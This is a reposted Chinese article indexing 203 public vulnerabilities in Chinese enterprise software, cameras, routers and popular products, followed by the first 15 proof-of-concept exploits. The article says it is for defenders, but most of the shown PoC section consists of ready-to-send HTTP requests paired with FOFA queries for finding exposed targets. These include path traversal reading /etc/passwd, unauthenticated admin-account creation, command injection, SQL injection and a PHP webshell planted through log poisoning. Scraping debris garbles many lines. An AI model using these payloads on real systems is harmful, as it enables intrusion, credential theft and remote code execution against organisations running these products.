互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
. R( C% F7 _0 Q0 L
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

& M( a$ L' I, N+ e( d7 f安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
+ L3 ^* n! U( O" A
7 M: r. e2 ^* O8 ?合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

2 s9 b, v4 [! g/ H9 z$ l8 {; W
声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
5 t7 U, E# n$ a
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
1 s% j6 W( W7 q6 Q+ N
# N: {# Y$ ]6 F, U5 ?$ x4 E5 b: K

目录
0 N, g' t. X! p9 X. @6 ^) k# ?6 U
: F! W3 i& ^6 @- T/ x5 M) b! n/ b01

* p5 p$ A5 ]0 X+ V$ K1. StarRocks MPP数据库未授权访问
# r9 F) m+ t. A$ w( \2. Casdoor系统static任意文件读取
9 Y( U" z8 f+ H0 K+ X1 A& D3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
) l3 n5 F( l5 Y8 F" Z9 e5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
. P* L$ s0 J+ R& A2 @7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
# I2 {* Q& z, f; f# q9 ?9. 稻壳CMS keyword 未授权SQL注入
, K" b# T9 q3 }2 J0 ?# m0 N10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
! W0 X5 r2 _- c2 s- v12. Jorani < 1.0.2 远程命令执行
! U4 X' v1 t6 d) a/ t13. 红帆iOffice ioFileDown任意文件读取
0 `* u. B6 a3 `3 r14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
" c; T/ N; {# W- w7 j16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
) T) v; D1 ?& k; T! S- K18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
# y& q6 v+ m2 L21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
" g' d8 G* q1 ^2 a) K24. 用友NC 6.5 accept.jsp任意文件上传
: ^$ b+ r( N* g9 Z3 _, P0 m25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
% d" s/ {7 T4 H/ p0 f27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
9 _% k* X4 K1 |; T  s' U29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
/ ^4 Q7 ^+ F" C; C8 i5 N! T2 m35. 用友NC-Cloud importhttpscer任意文件上传
. g, ?& R, H9 w; c4 v! P7 a$ T4 ^: F36. 用友NC-Cloud soapFormat XXE
9 [, n8 P! @8 H0 P! l7 E37. 用友NC-Cloud IUpdateService XXE
  b3 V4 Q$ m# v, ~7 m/ i3 m38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
$ t/ t6 w$ F8 m& {3 r40. 用友U8-Cloud XChangeServlet XXE
" H7 P. T" K1 o) D/ L41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 x1 b# w; ?/ x; g5 s: ]  _% T- k4 b7 F42. 用友GRP-U8 SmartUpload01 文件上传
8 t8 L! Y) r5 R4 V43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
; T9 m# j7 A$ `% Q45. 用友GRP-U8 ufgovbank XXE
2 g( W3 e4 u. n/ W/ x) z4 |46. 用友GRP-U8 sqcxIndex.jsp SQL注入
) C" _9 N1 k. w  \. `4 H- G47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
8 [/ L7 Y: e# g  T49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
2 w6 R+ q2 Q$ T' J$ }5 k52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
! G; r/ Z! }# C( K2 ]: S! m) X56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
. u! u, C" s. c# O( s8 _7 S1 @) e, J58. 畅捷通T+ KeyInfoList.aspx sql注入
, K- Z/ {, A' R8 E" }! W59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
) Z* u. A) Y: ~4 }* t61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
7 g0 i( |# P) H* K8 z9 d- _62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( b6 a4 X1 B2 K5 e/ J! J65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; ^( c4 W& r* l# D67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
2 V6 q; H1 H! U6 G69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
- b7 n9 \3 t3 R) v1 S' O# M72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
: `- ~% H9 _, E' M* ?+ v74. 致远M3-server 6_1sp1 反序列化RCE
. Q1 o" _( d. v* J4 k3 y3 k75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
- ~# {+ f+ |: G# ~" u76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
% m: n, r/ J1 L  F78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
# I, K0 t  c; d79. BYTEVALUE 百为流控路由器远程命令执行
3 G( s# O, F4 _6 Y4 S80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
1 V- D" r- e- t, J82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
4 F  O7 e1 \) M/ z( W2 k7 w, \83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
! R$ y9 J3 m& ?( g/ z# n86. 日本tosei自助洗衣机RCE
6 i  z: @5 ^; _8 k87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
  c9 U. g* r) H89. 致远互联FE协作办公平台editflow_manager存在sql注入
# H  u: S) \7 }; }" _  [90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
  T5 d; v" o* U) r& ?' ]91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
+ S4 G8 p/ u' ?; u93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
. X8 e/ Z* Z& K* C" V) v96. Apache OFBiz  18.12.11 groovy 远程代码执行
( x! U4 O( K1 k97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
8 ~. ?% E- K  b$ u98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
8 F3 u: O% \) ?1 ^! J102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
) Y2 a$ k& t4 d103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
8 f7 |2 g7 J4 q7 b107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
; Y, D3 y. ~9 {3 l" D109. Jenkins CLI 任意文件读取
5 ~( j/ L8 p3 g6 z/ v0 X4 k110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
# s' H8 X  D9 b3 O% Z6 |114. WordPress MasterStudy LMS插件 SQL注入
% S2 n2 O0 Y; @  D( y* O115. WordPress Bricks Builder <= 1.9.6 RCE
( [0 S7 I. D4 ~7 j7 _- M1 ~116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
% n8 U/ e' {7 b* \& i/ d119. 北京百绰智能S20后台sysmanageajax.php sql注入
  x' |3 ^. m" ~$ y120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
* j9 R# i4 B/ p( z( b/ Q124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
+ U3 E- m  J; K/ ?126. Aiohttp 路径遍历
3 D6 z/ ^" \, K9 J! M$ Z127. 广联达Linkworks DataExchange.ashx XXE
$ F- z, ]6 C' j- E128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
: R: `' l% s7 O# ~$ q& F8 b# K& I! y) g131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
" X" f0 T' W2 J133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
9 T, J  n6 J4 H3 ^. {: g' A1 K135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
0 b& ~, v( Q% J: k# A# O136. NextChat cors SSRF
3 Z# ~# z3 W9 z1 k137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
' w3 J& F0 U% Q  k139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
' ]8 U! P6 ~* U8 P. E# `141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
' W% p4 F' X& j- _: _144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
" W* e- M% |& _, V& a146. MajorDoMo thumb.php 未授权远程代码执行
1 l2 L3 O" B8 N' D$ i! f147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
+ J. e; I% r# s3 y149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
9 x  G3 f1 s4 i4 \+ t" P152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
8 N. y! b$ k. W* a9 M. l& k6 _/ r154. 天维尔消防救援作战调度平台 SQL注入
7 w6 ~- T; c+ p3 t8 x7 T7 r( c  ?6 e155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
" s% Q% p; o; n& W% f+ A157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
$ ]: g& Q5 G9 n0 U# u161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
8 I- O1 v( d0 L: S# I2 Y$ N0 y165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
# M6 E  \4 f0 d. {: h& }167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
. W$ C( R5 e- a0 ^: M+ `2 X% `170. 宏景EHR DisplayExcelCustomReport 任意文件读取
/ l, e& a1 ?& u) H6 |& `171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
" a, m+ `3 F$ t+ ~3 r; J173. Check Point 安全网关任意文件读取
8 D0 C9 k3 u7 e/ H* ]174. 金和OA C6 FileDownLoad.aspx 任意文件读取
6 B9 D% i( g; p& x2 \% w8 t175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
0 h4 T( ]& a  f9 K3 z7 D$ ]176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
! @* L2 R% Q& z180. 帮管客 CRM jiliyu SQL注入
( N8 y% S- H+ j% d' F181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
; H6 z. X" r3 ]3 {0 A8 a5 i182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
/ M, I  z. G, N; K* }* h/ }184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
% r  {0 M: R! ]! ~185. 瑞友天翼应用虚拟化系统SQL注入
! V' p9 G1 G8 q+ C( ]186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
% Y+ _1 K( v$ }& p/ _. h6 O( W190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
# B% _5 c, Q. l196. 河南省风速科技统一认证平台密码重置
$ u& G" z7 P. D$ j, c9 d: @; n3 ^197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
1 G) K$ U0 t) {& J' C  |199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
3 G1 C! |. B& ^1 b( A7 I201. 方正全媒体新闻采编系统 binary SQL注入
0 Y2 L: n# ^5 R202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
# J: G* l. n! u) z2 P# a. J: g
$ d2 |% E0 y: d. {6 gPOC列表

02

1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
6 w6 w/ A! J0 y& gGET /mem_tracker HTTP/1.1
Host: URL
3 `+ T4 ]' h1 Y

4 Z) Y, u9 o* }1 X0 f2 [' L! d# H2. Casdoor系统static任意文件读取
; [0 G1 w6 R" v6 zFOFA ：title="Casdoor"
! F% M  T& d4 l8 k2 DGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
! D% d. l3 l) I2 q3 z! ?4 KUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 h; S) T* C/ e* Y. lConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
5 V5 D: R$ M# d: s6 R
( W. Q, l& v' J, a6 ]7 {5 n1 K
4 x% I  R6 [8 j, M! a3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
8 n) y1 o3 V# f1 @) B# xGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
! L( f/ H6 I4 l1 K6 j  `Host: xx.xx.xx.xx

9 A9 q* u  A+ [' _' u2 r
& J% f# b3 f/ ^5 z! s) o  k! l& H: N0 B4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
  y; J! Z% ~' V8 g2 E( |9 t( a
password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
# y) G$ N; v# j2 ~Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
: _8 m$ j( N7 H+ K" e4 k( _$ c
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
! C6 k3 J, p8 k- r" B+ e- ^

2 G0 q( Y5 d% j% N$ D7 ?' w. @9 N. F5. NUUO NVR 视频存储管理设备远程命令执行
$ |3 t( L0 V) o- C" P6 uFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
8 x' ^% e! _( j. ~# j4 Z8 u9 K
3 t  J) c" ]3 \0 q' i5 T- ^
5 c+ ^& y4 d+ B6. 深信服 NGAF 任意文件读取
. u; h% a/ ]: S3 C7 a4 L) nFOFA：title="SANGFOR | NGAF"
% {: p0 v) f( M! ^6 O9 T# R$ jGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
8 @0 i  ?: {# T: ]6 ]% Z, uHost:
# }! G( c, R1 ]' }+ S; S) G+ e) ^
1 M( Y/ z: L# L! ^
7. 鸿运主动安全监控云平台任意文件下载
: j5 v5 [2 v5 f+ v9 L# }  gFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
% i. q& v; L2 K9 b0 WHost:
* d! r# H0 S5 [  o- [0 B) w% E/ a
2 ^: g: A$ }  z" a
& _: w/ |0 R0 \( h; l; l* @8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
( U+ i; i: {4 o默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
' H3 Z9 O* q6 |  G2 SCookie: sysauth=第一步登录获取的cookie
- @" S+ s( s3 C# [; h4 e: pContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

* G/ I, y2 F' _- J) x) Q------WebKitFormBoundaryxbgjoytz
) L% E& e$ W; h- n$ J! U% NContent-Disposition: form-data; name="wifiRebootEnablestatus"
7 C, J- C5 H( C  R" ~- X
" o+ A* [3 |7 K1 L# Y%s
) y) O3 t( W6 j* c# ^, {------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

; @9 P- Z4 _6 O* K12:00; id;
' ~" l$ k. `3 x+ z8 p* @" B------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
* J: L: |: u& i( W; V) N
%s:
4 `6 Q9 X9 P- Q8 n------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
, ^& A- x9 X. f( `8 g
& I5 J, ^& s# S' `: l
: b/ m( S" q9 u( }( n2 [; L9 Y------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
% c# ?. _' `/ |' WGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
  A  j6 w# x; T* X/ E! p) @4 O% sHost: x.x.x.x
/ G' @4 p8 m' R' [. u* U! Y) F

payload为下列语句的二次Url编码

: s' x: ]. V- {2 M% U/ C' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
& j% I9 F$ U$ `
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
0 ~( m  u) Q9 k: w5 ePOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
0 v: l6 M: _( I4 b5 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
9 q; z3 z3 R6 UContent-Length: 197
- X2 L% j' ^$ `, _4 j3 u* i. pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 Z/ v& ^. Q2 Y  [7 W9 |- n4 IAccept-Language: zh-CN,zh;q=0.9
. u! e; ^7 @3 `) J7 u4 e2 {! q% @# Y+ oConnection: close
7 m4 ~# w, d) ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
  ]1 J* C5 n" ~4 r
------WebKitFormBoundaryxdgaqmqu
8 g+ X: T3 _; T, e: C, M3 MContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
7 \( C( b% Y$ G4 f
jmnqjfdsupxgfidopeixbgsxbf
4 i% E6 l1 ~1 O5 h6 B3 E------WebKitFormBoundaryxdgaqmqu--
4 z% m3 K+ M3 J/ z' c1 ~

$ j& u3 Y  W4 [5 N/ [, L$ q11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
- Q4 Z% S! z2 O. K2 `FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
7 g! n4 Y9 L! s6 K8 K# J9 IGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
5 [- B, q# h4 |$ ?- @& WHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
6 L( n6 c) D' N4 W1 c/ X: [Upgrade-Insecure-Requests: 1
/ h# H$ s1 U! r& JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 h2 J. C9 P9 g5 O! U3 K& }$ \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


# ?% Q" ], f# C, B12. Jorani < 1.0.2 远程命令执行
2 J( s- ?) h4 o5 g! UFOFA：title="Jorani"
  N/ E: Z5 Z( R' Q9 i$ C第一步先拿到cookie
& N2 l8 d; _6 h% ~) kGET /session/login HTTP/1.1
- \; m8 v7 }: e+ KHost: 192.168.190.30
" I/ E2 X3 W. C" H$ U  i7 sUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

( `" |) w8 P  p6 d" k6 |
" z0 u/ B: L7 V9 S5 [  A: B响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
) {5 `, r6 v0 b" p) r) K) HConnection: close
/ i' M2 T, l; a4 Q+ K$ sCache-Control: no-store, no-cache, must-revalidate
- g8 n& P9 o' C8 x4 A' a( R4 vContent-Type: text/html; charset=UTF-8
3 _2 k7 Q* b6 |: b+ M- _0 cDate: Tue, 24 Oct 2023 09:34:28 GMT
& Z0 Y# e5 P& H6 E; ?! u5 kExpires: Thu, 19 Nov 1981 08:52:00 GMT
, |' F' D& |) O' kLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
9 @* l0 s8 B! f! N( M; g* xServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
5 `. g/ J6 H0 \1 h, T2 {# w2 M* NVary: Accept-Encoding
) D" G+ R9 L5 J3 o- m- k9 B( {

! x: J5 T- v4 ?7 SPOST请求，执行函数并进行base64编码
- ?/ C" v; ?0 Z' UPOST /session/login HTTP/1.1
Host: 192.168.190.30
$ e( w2 m( Z8 e; H  ?6 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
" v6 ?1 s* d/ l8 L- Q/ p9 t4 lContent-Type: application/x-www-form-urlencoded
  l6 g; w% L0 [1 I4 O& yCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

. d0 ~' ^& ^* g# s; w) Z8 X
5 v2 e! @6 k1 S0 R+ p8 h
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
+ T  _3 E7 M* _( wHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
; |$ }0 e% L# _5 iConnection: close
0 I( S; _# r" \) e, o4 Z% ?5 LCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

" C% P) s/ k% f! s0 g9 u7 ^
2 U% Y3 {" ~3 L! [) U4 R13. 红帆iOffice ioFileDown任意文件读取
) g6 D  k; o1 _FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
: N2 f- x7 W* ], [* I5 Z% wUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
7 a, T& s# [2 l: V6 H1 p0 ^+ _Accept: */*
Accept-Encoding: gzip
. C( Z( Z5 ^7 P! ~
  Y# l9 j9 G# V6 J/ \
" ]5 L: ~. i( p8 [( K14. 华夏ERP（jshERP）敏感信息泄露
" J" c  Q+ c* Y+ @! S/ T$ mFOFA：body="jshERP-boot"
1 R( U" D+ C. b7 X, o泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
) b$ }3 \4 r% [. R: oConnection: close
Accept: */*
& V0 {% ~5 s8 D; ?Accept-Language: en
' k3 W+ E6 [2 [6 ]9 vAccept-Encoding: gzip
; Z, S, V0 T, Y1 r4 g

) w! P$ n, L* E+ s/ Y. {15. 华夏ERP getAllList信息泄露
" C6 o1 ]) C. [! ?9 b4 }( k; W7 ~CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
( G; ^% r" j9 |! s& Y' ~7 k5 F2 [GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
' [2 f; i. h# y8 r9 gHost: 192.168.40.130:100
